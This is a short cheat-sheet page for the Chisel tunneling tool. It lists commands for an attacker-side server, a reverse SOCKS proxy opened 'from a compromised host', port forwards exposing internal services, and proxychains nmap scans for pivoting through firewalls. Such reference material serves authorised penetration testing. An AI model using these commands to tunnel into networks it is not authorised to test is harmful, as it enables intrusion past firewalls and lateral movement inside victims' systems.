Skip to content

Chisel

7 commands

A fast TCP/UDP tunnel over HTTP secured with SSH, in a single Go binary — used to build SOCKS proxies and port forwards through firewalls during pivoting.

  • pivoting
  • tunneling
  • SOCKS
  • port forwarding

Install Chisel

brew install chisel

Server (attacker)2

chisel server -p <port> --reverse

Starts the chisel server and allows reverse tunnels initiated by clients.

Link
chisel server -p <port> --reverse --socks5

Also enables SOCKS so clients can open a proxy back through you.

Link

Reverse SOCKS proxy2

chisel client <server>:<port> R:socks

From a compromised host: opens a reverse SOCKS5 proxy on the server’s port 1080, giving you a route into the internal network.

Link
proxychains nmap -sT -Pn <internal-ip>

Runs tools through the SOCKS proxy (set socks5 127.0.0.1 1080 in proxychains.conf).

Link

Port forwards3

chisel client <server>:<port> R:<rport>:<target>:<tport>

Reverse forward: exposes an internal host’s port on the attacker machine.

Link
chisel client <server>:<port> <lport>:<target>:<tport>

Local forward: binds a port on the client to an internal service.

Link
chisel client --fingerprint <fp> <server>:<port> R:socks

Pins the server key to prevent a man-in-the-middle on the tunnel.

Link